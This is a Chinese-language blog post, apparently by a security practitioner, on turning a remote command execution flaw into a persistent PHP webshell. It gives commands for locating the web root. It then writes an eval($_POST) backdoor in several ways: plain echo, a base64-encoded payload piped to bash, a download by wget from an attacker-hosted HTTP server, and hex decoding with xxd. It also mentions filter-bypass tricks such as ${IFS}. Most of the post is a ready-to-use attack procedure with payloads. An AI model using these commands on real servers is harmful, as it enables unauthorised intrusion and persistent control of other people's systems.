命令執行寫webshell總結
VSole2021-10-17 05:44:07
前言
當我們找到一個rce漏洞卻無法反彈shell時,在web路徑寫webshell用連接工具進行管理會方便的多,本文總結從命令執行到webshell的流程化操作。
尋找web路徑
寫webshell當然要寫在web路徑,第一步要做的就是快速尋找web路徑
1.文件查找法
一般web路徑一定會有index.html\php\jsp\asp,login.xxx文件。可以根據已知頁面文件名全局搜索
linux: find / -name index.php find / -name index.* windows: for /r d:/ %i in (index.html) do @echo %i for /r d:/ %i in (index.*) do @echo %i
2.源碼查找法
也可以選擇打開當前已知web頁面的f12查看源碼,尋找一段特征足夠明顯的源碼進行查找
linux: find / -name "*.*" | xargs grep "PHP installed properly" find /var/www/ -name "*.php" | xargs grep "doServerTest()" windows: findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html findstr /s/i/n /d:C:\windows\ /c:"success" *.*
3.history等
通過linux歷史命令查找web相關的服務啟動命令
history | grep nginx history | grep tomcat history | grep http
寫入webshell
確認尋找到的路徑有寫入權限之后,就可以開始寫webshell了
1.echo直接寫入
echo ' eval($_POST[1]); ?>' > 1.php
直接寫入webshell一般不會成功,因為webshell中使用的某些關鍵符號可能被轉碼或屏蔽
2.base64寫入
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
使用base64是比較通用的方法,完美去除了webshell本身的特殊字符
3.繞過重定向符
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh
重定向符>不可用時,我們可以將1或2中的整體命令base64編碼,然后解碼后通過bash或sh執行
其他字符繞過方式,如空格對應${IFS}等,可參考命令注入的繞過方式 http://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/
4.遠端下載webshell
遠端服務器放置webshell,開啟http python -m http.server 目標機器執行 wget http://xx.xx.xxx.xx:8000/xxx.php
可出網且有wget的情況下可采用此方式
5.hex寫入
hex寫入與base64寫入相似,在 https://www.107000.com/T-Hex/
將webshell編碼成hex,使用xxd命令還原
或在使用前將webshell使用xxd生成hex數據
echo ' eval($_POST[1]); ?>' |xxd -ps
然后命令注入執行
echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php
VSole
網絡安全專家